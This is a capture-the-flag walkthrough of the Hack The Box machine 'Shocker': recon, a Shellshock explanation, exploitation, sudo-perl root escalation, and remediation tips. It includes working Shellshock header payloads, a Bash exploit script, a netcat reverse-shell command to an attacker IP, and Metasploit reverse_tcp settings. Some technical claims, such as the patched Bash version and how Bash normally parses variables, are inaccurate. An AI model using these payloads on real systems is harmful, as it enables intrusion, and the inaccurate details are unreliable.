Keep Calm and Hack The Box – Shocker
If you‘re looking to put your penetration testing skills to practice in a safe and legal way, Hack The Box is one of the best platforms out there. It offers a massive playground of virtual machines that simulate real-world networks and systems for you to break into. From easy boxes meant for beginners to insanely difficult challenges that will test even the most seasoned hackers, HTB has something for everyone looking to hone their offensive security capabilities.
In this write-up, we‘ll take a close look at one of the easier boxes on HTB – Shocker. Despite its entry-level difficulty, Shocker demonstrates the severity of one of the most impactful bugs disclosed in recent memory – Shellshock. This vulnerability affected millions of public-facing Linux servers back in 2014 and still continues to linger on many unpatched systems even today.
So grab a cup of coffee, get your hacking tools ready, and let‘s dive into pwning Shocker!
Scanning and Reconnaissance
As with any penetration test, the first order of business is to perform comprehensive scanning and reconnaissance of the target system. This allows you to map out the attack surface and identify potential entry points to exploit. The better you understand what you‘re up against, the higher your chances of successfully compromising the machine.
To start, let‘s run a full TCP port scan with Nmap, the quintessential tool for exploring networks:
nmap -sV -sC -p- 10.10.10.56
This command tells Nmap to do a service/version scan (-sV) using default scripts (-sC) on all 65535 ports (-p-) of the target box, which has an IP address of 10.10.10.56. The output reveals just two open ports:
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn‘t have a title (text/html). 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
We have SSH listening on the non-standard port 2222, but more importantly, an Apache web server running on port 80. Given the name of this box, there‘s a good chance the webserver will be our path to victory. To investigate that service more closely, we can use a tool like Gobuster to brute-force directories and files:
gobuster dir -u http://10.10.10.56 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
This runs Gobuster in directory brute-forcing mode (-u) against the target URL using a wordlist of common directories. The scan reveals a promising finding – the /cgi-bin/ directory:
/cgi-bin/ (Status: 403)
The "/cgi-bin/" path is commonly used to store executable scripts on a webserver, so this definitely warrants further inspection. Let‘s run another Gobuster scan, but this time specifically targeting that directory and using an expanded list of file extensions:
gobuster dir -u http://10.10.10.56/cgi-bin/ -w /usr/share/wordlists/dirb/common.txt -x sh,pl,py
Bingo! The brute-force uncovers a Bash script called user.sh that could be the foothold we need:
/user.sh (Status: 200)
Now that we‘ve identified a promising attack vector, let‘s dig deeper into the Shellshock vulnerability to understand how we might be able exploit this user.sh script…
Understanding the Shellshock Vulnerability
Shellshock (also known as Bashdoor) is a family of security bugs that was disclosed in September 2014 and originally assigned CVE-2014-6271. The vulnerability affected the Unix Bash shell, which is the default command line interpreter on most Linux distributions and Apple‘s macOS operating system.
In a nutshell, Shellshock allows an attacker to execute arbitrary commands on a vulnerable system by passing a specially crafted environment variable to Bash. The bug itself is quite complex, but the gist of it has to do with how Bash parses strings in environment variables:
Normally, when Bash encounters a variable in the form of:
$ export VAR="() { ignored; }; echo Hi"
It will ignore everything after the initial "{}" function definition and just store "() {" in the variable. However, the Shellshock bug causes Bash to interpret the trailing commands after the function definition as executable code! In the example above, it would print out "Hi" after defining the function.
This behavior opens the door for command injection attacks, especially against web applications that pass user input to the shell. An attacker could submit a malicious payload like:
target(){ :;}; /bin/eject
Which would define an empty function called "target" and then execute the "/bin/eject" command! If the web app passes this input to Bash without sanitizing it, the attacker can run any command they want on the system.
The implications of Shellshock were massive and far-reaching. At the time of disclosure, it was estimated that over 500 million systems and devices were vulnerable, including many production web servers. Patches were quickly released by major vendors, but even to this day, there are still unpatched systems lingering about.
So in summary, the Shellshock family of bugs allows an attacker to perform remote command execution on a vulnerable server by abusing Bash‘s lax parsing of environment variables. With that background in mind, let‘s return to the Shocker box and see if we can apply this knowledge to exploit it!
Exploiting Shellshock on Shocker
Armed with an understanding of how Shellshock works, exploiting the vulnerability on Shocker is actually quite straightforward. We have everything we need – a target system running a web server, a user-controlled parameter in the form of the user.sh script, and a well-known vulnerability to abuse.
We could craft an exploit by hand, but let‘s make things easy for ourselves and use Metasploit, the popular open-source penetration testing framework. Metasploit has a handy module that automates the process of testing for the Shellshock bug and gaining a reverse shell on the target.
First, start up the Metasploit console with the msfconsole
command, then search for the Shellshock module:
msf> search shellshock
Load up the auxiliary scanner to verify that Shocker is indeed vulnerable:
msf> use auxiliary/scanner/http/apache_mod_cgi_bash_env
msf> set RHOSTS 10.10.10.56
msf> set TARGETURI /cgi-bin/user.sh
msf> run
The output should indicate that the target is likely vulnerable to Shellshock. Confirm that by running the full exploit module and passing in the appropriate settings:
msf> use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf> set RHOSTS 10.10.10.56
msf> set TARGETURI /cgi-bin/user.sh
msf> set payload linux/x86/meterpreter/reverse_tcp
msf> set LHOST YOUR_IP_ADDRESS
msf> run
If everything goes according to plan, Metasploit will send a malicious web request containing the Shellshock payload to the user.sh script. The vulnerable Bash interpreter will execute this payload, causing the target to connect back to your attack machine and grant you a Meterpreter shell!
While Metasploit helps streamline the exploit process, it‘s also good to know how to do things manually. We can run a basic Shellshock proof-of-concept using nothing more than Curl:
curl -H "User-Agent: () { :; }; /bin/eject" http://10.10.10.56/cgi-bin/user.sh
This sends an HTTP request to the user.sh script with a malicious User-Agent header containing our Shellshock payload. If you have an external drive connected to your computer, it will actually eject when you run this command! Of course, in a real-world attack you‘d want to do something stealthier like spawning a reverse shell.
There are also standalone Shellshock exploit scripts floating around, like this simple Bash one-liner:
#!/bin/bash
URL="${1}"
CMD="${2}"
curl -H "User-Agent: () { :; }; /bin/bash -c \"${CMD}\"" "${URL}"
To use this script, give it execute permissions with chmod +x
, then run it with the vulnerable URL and command to execute as arguments:
./shellshock.sh http://10.10.10.56/cgi-bin/user.sh "nc -e /bin/bash YOUR_IP_ADDRESS 1234"
Catch the reverse shell by setting up a listener (nc -lvp 1234
) and voila, you‘ve got command execution on the box! From here, you can grab the user flag sitting in shelly‘s home directory.
Privilege Escalation to Root
Of course, we‘re not done yet. In real penetration tests and CTF challenges, capturing the initial foothold is only half the battle. To fully compromise a system, you need to perform additional enumeration to look for privilege escalation vectors to root.
On Shocker, the privilege escalation is actually quite simple once you‘ve obtained a shell as the low-privileged shelly user. Run the sudo -l
command to list binaries that shelly can execute with root permissions:
shelly@Shocker:/home/shelly$ sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
As you can see, shelly is allowed to run Perl as root without a password! Since Perl allows you to spawn a shell, we can easily use it to get a privileged shell and complete our total compromise of the box:
shelly@Shocker:/home/shelly$ sudo perl -e ‘exec "/bin/bash";‘
root@Shocker:/home/shelly# id
uid=0(root) gid=0(root) groups=0(root)
root@Shocker:/home/shelly# cd /root
root@Shocker:/root# ls
root.txt
Grab the root flag and give yourself a pat on the back – you‘ve successfully elevated your privileges and pwned the Shocker machine!
Lessons Learned and Remediations
While Shocker is an entry-level box, it teaches some valuable lessons that apply to real-world penetration tests and security assessments. First and foremost, it demonstrates the critical importance of patching systems against known vulnerabilities. The Shellshock bug was disclosed way back in 2014, yet remains a viable threat against unpatched servers even today.
If you‘re an administrator tasked with securing web-facing Linux machines, some best practices to mitigate the risk of Shellshock and similar vulnerabilities include:
- Upgrading Bash to a patched version (4.3 or later) that doesn‘t allow code execution from environment variables
- Updating any CGI scripts on your webserver to properly sanitize user input before passing it to the shell
- Enabling SELinux or AppArmor to restrict a compromised web app‘s permissions and limit the damage of RCE bugs
- Configuring your web server to run worker processes under a low-privileged user account
- Placing any sensitive binaries and config files outside of the web root
Of course, this is by no means an exhaustive list. Defense-in-depth is key to building resilient systems and networks. By implementing multiple layers of security and not relying on any single control, you can greatly reduce the risk and impact of bugs like Shellshock.
From an offensive security perspective, Shocker also emphasizes the importance of through enumeration. While the Shellshock vulnerability made for a quick and easy foothold, gaining root access required additional sleuthing to identify the sudo permissions as an escalation vector. Never neglect enumeration and always dig deeper!
I hope you enjoyed this write-up and learned something new. Go forth and keep hacking The Box!